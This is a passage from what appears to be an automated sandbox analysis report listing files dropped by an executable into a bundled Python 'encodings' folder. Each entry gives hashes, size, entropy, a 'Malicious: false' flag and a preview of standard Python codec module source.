codecs.CodecInfo(.. name='cp866',.. encode=Codec().encode,..

C:\recover\pw\Lib\encodings\cp869.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	33654
Entropy (8bit):	4.583176642392538
Encrypted:	false
SSDEEP:	384:9XtKOodhREjkjh4wV+TRLMCXkWDoq4HWJn4AV+/S0sOkYmPr:UhR1jhJVBukWDo72BFEEN
MD5:	FC295CB9BF854E29A7EAB588DF20A662
SHA1:	F9D95ED00BBCB7CB89661A0BB93880BF08A70802
SHA-256:	4322E184D3C1DFA56EDB013E895CBFB71130E7846F8F56BCAFC4C0082373CB6A
SHA-512:	0167CC25A48AB6B09F08233CD51C8C622AF7014642BE6E9A72F37EA8C459F67CAE04DFED076E8148C512747CD775457442528F1963CE3F677FE3B5F45AD71C1B
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP869.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp869',.. encode=Codec().encode,..

C:\recover\pw\Lib\encodings\cp874.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12902
Entropy (8bit):	4.624503078499216
Encrypted:	false
SSDEEP:	192:KHhsuOTDvRHUrXPLouhIAs2+iRvskDCYnO00pC8i1bE:nThuhIAlX/H8iG
MD5:	5E2C1051F63CEB3600F970937C5FC6E4
SHA1:	062664CD22F5DC7A52E99EDCC9C5D356C2B6F841
SHA-256:	94179E22722674527BD56386B5E9DAC5427B0F55248D1AA63E204C105DA18D8B
SHA-512:	B6643A970DDF837CA060CB511C4AFA2E4224657450455BDAEF1980ED122791991FD13BAEFD56DE10A63FC1248EAB26478EE0B0B82B0E884FCEDD71D85DCB84F3
Malicious:	false
Preview:	""" Python Character Mapping Codec cp874 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP874.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp874',..

C:\recover\pw\Lib\encodings\cp875.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13161
Entropy (8bit):	4.598690745287678
Encrypted:	false
SSDEEP:	192:LHhsuOTDvRUUZkPS3RI4WcMHFVleIuiZdH77eDVqeOFf2nuS:eT5RIzc+gi72DcdFOnb
MD5:	3DAB3DF72E688978781C91CEA3285C4A
SHA1:	65664E8974B621B2C461774187C483ABFA0E735F
SHA-256:	5C42ADFEC39CF9D891FBB2ED19D882C6160A00B8487B7867F9E2296B9E2F491B
SHA-512:	7F940428049BCB0A95FC67FC178749B61ABF522646A68505B5B420718E5BD8ABBF6973B48CBF17DDA48179ABBA4D31F1E2169DBD5EFA33C044414A7A02673899
Malicious:	false
Preview:	""" Python Character Mapping Codec cp875 generated from 'MAPPINGS/VENDORS/MICSFT/EBCDIC/CP875.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp875',.. e

C:\recover\pw\Lib\encodings\cp932.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.549007604127859
Encrypted:	false
SSDEEP:	24:n5oqwOzff/XohaZKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj93cJxFpz:Oqpwhat62VJjRU8njOxLnrxLbrLKmJx/
MD5:	70E562A99A8F07255F47C5F3C05518A5
SHA1:	F1F0A00A3238B19786D88B83F9FA57D043E2D0A9
SHA-256:	F917DB40F96F9F676E45FD9F1A7FA5D9BBB67A703BDF88B546CA4DA84C4905F5
SHA-512:	48C7BF7FDA257EC6ECC4421BFEF66E026C285DABB358ED41DDB6A9FFC6D73F61DA35F25A5622FC8D9D4D086D4BFA37E67A40810D39A6FA5F538F61427304298A
Malicious:	false
Preview:	#..# cp932.py: Python Unicode Codec for CP932..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('cp932')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='cp932',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamrea

C:\recover\pw\Lib\encodings\cp949.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.532318933180232
Encrypted:	false
SSDEEP:	24:no53qzqOzSf/XoxKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9+6cJxFV:otqzHzl62VJjRU8njOxLnrxLbrLK03Jd
MD5:	D85D0503255F9363D30F7B7AAD7355D4
SHA1:	DE0F8989F4BBE4CC9A91241DEED093BF259E2DC1
SHA-256:	DA13FD6F1BD7A1D3B48AED1FC75F7516D6A33814086CF971E030625590E9DDA0
SHA-512:	ED408E5A0B1042E0F1F94CF57171381F4B2A0491B9319BF2E0E02DB8B63BF342D7C4091B97DA8F9802B6EA0AE94EFFBE797F17E92F25E5F436BD88E11E4735B7
Malicious:	false
Preview:	#..# cp949.py: Python Unicode Codec for CP949..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_kr, codecs..import _multibytecodec as mbc....codec = _codecs_kr.getcodec('cp949')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='cp949',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamrea

C:\recover\pw\Lib\encodings\cp950.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.541713907609811
Encrypted:	false
SSDEEP:	24:nqqqhOz6f/XoHKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9ncJxFplR:qqVLj62VJjRU8njOxLnrxLbrLKWJxTz
MD5:	15D67984C7486D079058D4DBA07DDBBE
SHA1:	51AE51CD6ED99E4B594A5EFF1621308AA89DE532
SHA-256:	8FD6E86DFB38006E753B3B0301AA4B377C64C25F4EC9E6333FC99C3F06E90917
SHA-512:	46F3A96CE463669D8AD256C53C84EE201FB3D1EC0BEEEE55E622E75E93D1C9AA272BC0A414F3E65123C9BB1972BEEC9A8F43B2B9ACF849A2361DB188EE3F7836
Malicious:	false
Preview:	#..# cp950.py: Python Unicode Codec for CP950..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_tw, codecs..import _multibytecodec as mbc....codec = _codecs_tw.getcodec('cp950')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='cp950',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamrea

C:\recover\pw\Lib\encodings\euc_jis_2004.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	4.603655042489424
Encrypted:	false
SSDEEP:	24:nsqVsOzff/XoL2KyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9TcJxFplR:sqHwU62VJjRU8njOxLnrxLbrLKKJxTz
MD5:	F1FAE768C9FF8329D237608533530CED
SHA1:	3167902E4F9294DB74131FA2CE505E2F62B9C9B4
SHA-256:	78265BA431395662E7252A9B79BC2A75FFE438DB872B2CF1CBCFB243D83F0C87
SHA-512:	F726B7652435D174D1D84578A9278DD6B751B62CE231247CE4299860A5A4B2E1DB1D243B370625633D526278D30F2D05BBEBA9FC9E8312A103C455C65E802D68
Malicious:	false
Preview:	#..# euc_jis_2004.py: Python Unicode Codec for EUC_JIS_2004..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('euc_jis_2004')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='euc_jis_2004',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=Incrementa

C:\recover\pw\Lib\encodings\euc_jisx0213.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	4.624592201957947
Encrypted:	false
SSDEEP:	24:nrqLOzff/XoL1KyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9IcJxFplR:rqAwl62VJjRU8njOxLnrxLbrLKLJxTz
MD5:	45A11BD69244CE2DCC3FF49206AD041B
SHA1:	C0FF2F0406F4158D26DA4FC850584D14764FCA55
SHA-256:	12CA22A7DB25D9EEEF9BF5FACDC5594E3165CCF451528D36E3B68A03989521AC
SHA-512:	06AFD42F84A6E83A55645C82A638A7AF6C545401570EB3871913060FCBCC8D348583F589E3133745A6584998493C35DE25F66336E7D4F48EAC1BFDD6C35D08D6
Malicious:	false
Preview:	#..# euc_jisx0213.py: Python Unicode Codec for EUC_JISX0213..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('euc_jisx0213')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='euc_jisx0213',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=Incrementa

C:\recover\pw\Lib\encodings\euc_jp.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1066
Entropy (8bit):	4.531522047071056
Encrypted:	false
SSDEEP:	24:n9qNOzff/XoLjKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9KcJxFplR:9q2wL62VJjRU8njOxLnrxLbrLKlJxTz
MD5:	0F2187EA4FC89DA2F54522EF29F58A7F
SHA1:	9DE39800CBBD630D7D4A1504C1A07F334EF3FAC5
SHA-256:	8927683A4234B936BE1935B8A799BE78520438BB5EA072499D51E7FE3D182987
SHA-512:	61BDFF78DE0A5E781C47F692620F7ACCD78AA006F530D478502A0905D51312B499E119F2EAA5524F2CEEF3CC4950F2865A1EFCFFF23BB4B9702579E0F3AEC97C
Malicious:	false
Preview:	#..# euc_jp.py: Python Unicode Codec for EUC_JP..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('euc_jp')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='euc_jp',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. strea

C:\recover\pw\Lib\encodings\euc_kr.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1066
Entropy (8bit):	4.509188463695804
Encrypted:	false
SSDEEP:	24:nSBqnChOzSf/Xoap0KyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9DJFc3:EqnXzao62VJjRU8njOxLnrxLbrLK9J+3
MD5:	B6EF8BD54861FA5D1E0AFF68F50F2913
SHA1:	3CB1AC8785AF724B359BEFBFC3758D918067B77A
SHA-256:	03AFE0CF8020529EAD00A0EA26A7131D354994CD2352D42F9032216B3748EA91
SHA-512:	B8147C8F711BC1ACE96FB2769F79A54728F7A744FCCD3AA4BE1257E8F09507DEDE44CF9F5C1F089BB88F11A88D372874EB343BB48AFE639A6C7E8D27204BFA05
Malicious:	false
Preview:	#..# euc_kr.py: Python Unicode Codec for EUC_KR..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_kr, codecs..import _multibytecodec as mbc....codec = _codecs_kr.getcodec('euc_kr')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='euc_kr',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. strea

C:\recover\pw\Lib\encodings\gb18030.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1070
Entropy (8bit):	4.573121414528306
Encrypted:	false
SSDEEP:	24:nBMqgOz+f/Xo1GoKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9zcJxFpz:Wq5P1l62VJjRU8njOxLnrxLbrLKSJxTz
MD5:	40B18EE51A3241C53EF5CBC6C019997D
SHA1:	C4F48863B74CB56844A2CC68AF9629D9407B7CF7
SHA-256:	0D9C1DB7E2959E60E4F6CB4B97C884585668C55B48F2D9D715B2BDAF5E78C671
SHA-512:	12952CBED997D8E4F3608F2DA4BA0FAC468D7D48E7685556E3669AF18FC6C238688713894E4490AACDC05C253242ADE9C88E522DC45EB9D5827E29548108D5AE
Malicious:	false
Preview:	#..# gb18030.py: Python Unicode Codec for GB18030..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_cn, codecs..import _multibytecodec as mbc....codec = _codecs_cn.getcodec('gb18030')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='gb18030',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. s

C:\recover\pw\Lib\encodings\gb2312.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1066
Entropy (8bit):	4.554621344303813
Encrypted:	false
SSDEEP:	24:nB6q6Oz+f/Xo11ZKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9jcJxFpz:oq3P11t62VJjRU8njOxLnrxLbrLK+Jx/
MD5:	72F02C10927F33B52DF6549FF1F52E60
SHA1:	6C666F6A4C36D0C3CBD944216E170E26D7B5D91A
SHA-256:	2B5573EBF7FDC20DCF126633ADF0B7283C08629D36DBEFA669C985C9DDB98EA7
SHA-512:	F7F0D5C10490026F0809714BEED7CB2F5AB284C7BDC05BCBDF7C690A255DBA59F815B5524D88F5ED35CD6FD668C93695126EF7153CCBFA5B58BAA5E151839C51
Malicious:	false
Preview:	#..# gb2312.py: Python Unicode Codec for GB2312..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_cn, codecs..import _multibytecodec as mbc....codec = _codecs_cn.getcodec('gb2312')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='gb2312',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. strea

C:\recover\pw\Lib\encodings\gbk.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1054
Entropy (8bit):	4.504465163109839
Encrypted:	false
SSDEEP:	24:nBOEpqNOz+f/Xo1SKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9scJxFV:4Epq2P1k62VJjRU8njOxLnrxLbrLKPJd
MD5:	0D6CF4D6FFFB4B761BEBCEBC1D2C3CF3
SHA1:	64C7CD7A46E8CAE1CB9F0700035CA6BD2EC73C76
SHA-256:	9C7828E3B9661E39D4D75419A12B9D132FA9D0B4DAEC36F3DF51AD1C3A638DE3
SHA-512:	0F4F577C2FB46AB6B6D8DD6CFB5F89C8748F67E864D9AB6E3D92904BB0AE9EDB6239CABDF8A8F9B11238EEB60870EB819499B4A942E2D3B5CB7032F444246FCF
Malicious:	false
Preview:	#..# gbk.py: Python Unicode Codec for GBK..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_cn, codecs..import _multibytecodec as mbc....codec = _codecs_cn.getcodec('gbk')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='gbk',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=Stre

C:\recover\pw\Lib\encodings\hex_codec.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1563
Entropy (8bit):	4.660866418659877
Encrypted:	false
SSDEEP:	48:Xtc/QX1AIgs1AIc1wX1euM8ivIvPTKs3ntJxHjH:XS/QX/gs/cmX8uAA3TKsdrH
MD5:	1E55C95602534092B4DB3ED99CB9E67C
SHA1:	D1DBA179C7F3B0FF22D4F1713275D0C48637BB48
SHA-256:	5881C1AEEEB5F9CD27CE0E0E62AB9D6551F094955DBD52DC8184165DAF78AEBA
SHA-512:	84DACC6B4CBFBB99D7D6F0124EF1E7B26035C7249730EB1C185B60A750DE2548CA60E8A939DF8445D5DDDF1F8D397708A264D9FD7771C674C7DA889C306C9D93
Malicious:	false
Preview:	"""Python 'hex_codec' Codec - 2-digit hex content transfer encoding.....This codec de/encodes from bytes to bytes.....Written by Marc-Andre Lemburg (mal@lemburg.com)..."""....import codecs..import binascii....### Codec APIs....def hex_encode(input, errors='strict'):.. assert errors == 'strict'.. return (binascii.b2a_hex(input), len(input))....def hex_decode(input, errors='strict'):.. assert errors == 'strict'.. return (binascii.a2b_hex(input), len(input))....class Codec(codecs.Codec):.. def encode(self, input, errors='strict'):.. return hex_encode(input, errors).. def decode(self, input, errors='strict'):.. return hex_decode(input, errors)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. assert self.errors == 'strict'.. return binascii.b2a_hex(input)....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. assert self.errors == 'strict'..

C:\recover\pw\Lib\encodings\hp_roman8.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13789
Entropy (8bit):	4.607934099089844
Encrypted:	false
SSDEEP:	192:zbhsuOTDvRFUrXPLouhIAs2+ijLoM69Ne/DD6e:STjuhIAlgM6G6e
MD5:	1332CCB5750EB756B2856CCAD9E18CC1
SHA1:	ACDBF93730FB0420EA5B77AFE7E3282669829EF4
SHA-256:	681FF6A2273BD64450E04FC6F04B2EC63015A91490E30A31E25ED193708C99D4
SHA-512:	6F43760A54CB494E48B8C9A659505727246AEAF539AD4A35AFE6F4F5D0E4A84C2F5F0ED5055794DE2D575E78D5A5D1497EB795F35D8F5533DF955587EBC38FD4
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'hp_roman8.txt' with gencodec.py..... Based on data from ftp://dkuug.dk/i18n/charmaps/HP-ROMAN8 (Keld Simonsen).... Original source: LaserJet IIP Printer User's Manual HP part no.. 33471-90901, Hewlet-Packard, June 1989..... (Used with permission)...."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.Strea

C:\recover\pw\Lib\encodings\hz.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	4.49858978606931
Encrypted:	false
SSDEEP:	24:nvpqxOz+f/Xo1cZKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9ecJxFpz:vpqyP1ct62VJjRU8njOxLnrxLbrLK5Jd
MD5:	78235EEDFAE419F3CC13044D7890799B
SHA1:	5BF1944AC39D99B3777CCD61DB7FAE3FF0D3E936
SHA-256:	2601DC6EF938FF87BD2024B3C4785254F2B3DD4D8D34D8F63E254D7B8545B077
SHA-512:	F5B7383FC8CBBAA13E8D101DD264D0F7952CD3A681F6746B5D941381A7CD39BE808D3E15375CF3778AC80D026658D494FA410CE1904683BD873D91C55DA9CA41
Malicious:	false
Preview:	#..# hz.py: Python Unicode Codec for HZ..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_cn, codecs..import _multibytecodec as mbc....codec = _codecs_cn.getcodec('hz')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='hz',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=StreamRe

C:\recover\pw\Lib\encodings\idna.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9405
Entropy (8bit):	4.456033241276571
Encrypted:	false
SSDEEP:	192:g2wxhP5XBQ/J/8V2zbxofjEY7pKrlIRYUnIzSGAy4DYvRv3:gPvPjp2zbIbwDcGx
MD5:	C2DAEBCCD1DE0B4535D537DB6658A6AA
SHA1:	B799688CC2CFDA6164308A6A78DF70AD59876DB7
SHA-256:	F62053A41EEA93F5953D1DE69C98FFD7F3E2D0E9AC984BA27A9BE37ADF0F4022
SHA-512:	83C7224EB66F7B4AD23B678B74EE054C27D8197EE708D5CCCFC4FA9E1775978608E09AA188594C5602160F93215C4F7B113C0C593C39502FA3CB163744DDAA54
Malicious:	false
Preview:	# This module implements the RFCs 3490 (IDNA) and 3491 (Nameprep)....import stringprep, re, codecs..from unicodedata import ucd_3_2_0 as unicodedata....# IDNA section 3.1..dots = re.compile("[\u002E\u3002\uFF0E\uFF61]")....# IDNA section 5..ace_prefix = b"xn--"..sace_prefix = "xn--"....# This assumes query strings, so AllowUnassigned is true..def nameprep(label):.. # Map.. newlabel = [].. for c in label:.. if stringprep.in_table_b1(c):.. # Map to nothing.. continue.. newlabel.append(stringprep.map_table_b2(c)).. label = "".join(newlabel).... # Normalize.. label = unicodedata.normalize("NFKC", label).... # Prohibit.. for c in label:.. if stringprep.in_table_c12(c) or \.. stringprep.in_table_c22(c) or \.. stringprep.in_table_c3(c) or \.. stringprep.in_table_c4(c) or \.. stringprep.in_table_c5(c) or \.. stringprep.in_table_c6(c) or \.. stringprep.in_table_c7(c) or

C:\recover\pw\Lib\encodings\iso2022_jp.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	4.599723694318225
Encrypted:	false
